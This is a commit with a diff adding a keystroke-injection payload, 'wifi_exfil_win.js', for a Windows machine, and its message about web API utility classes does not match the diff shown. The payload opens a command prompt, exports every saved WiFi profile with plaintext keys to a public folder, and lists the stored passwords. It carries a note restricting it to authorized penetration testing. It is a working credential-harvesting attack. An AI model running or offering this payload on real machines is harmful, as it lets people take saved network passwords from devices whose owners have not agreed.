Add Loki and Sentinel utility classes for web API endpoints

- Implemented LokiUtils class with GET and POST endpoints for managing scripts, jobs, and payloads.
- Added SentinelUtils class with GET and POST endpoints for managing events, rules, devices, and notifications.
- Both classes include error handling and JSON response formatting.

loki/payloads/wifi_exfil_win.js

@@ -0,0 +1,20 @@
+// WiFi Profile Exfiltration (Windows) — Dumps saved WiFi passwords via netsh
+// WARNING: For authorized penetration testing only.
+layout('us');
+delay(1000);
+
+// Open CMD
+press("GUI r");
+delay(500);
+type("cmd\n");
+delay(1000);
+
+// Export all WiFi profiles with keys to a file
+type("netsh wlan export profile key=clear folder=C:\\Users\\Public\n");
+delay(3000);
+
+// Show WiFi passwords inline
+type("for /f \"tokens=2 delims=:\" %a in ('netsh wlan show profiles ^| findstr \"Profile\"') do @netsh wlan show profile name=%a key=clear 2>nul | findstr \"Key Content\"\n");
+delay(5000);
+
+console.log("WiFi profiles exported to C:\\Users\\Public");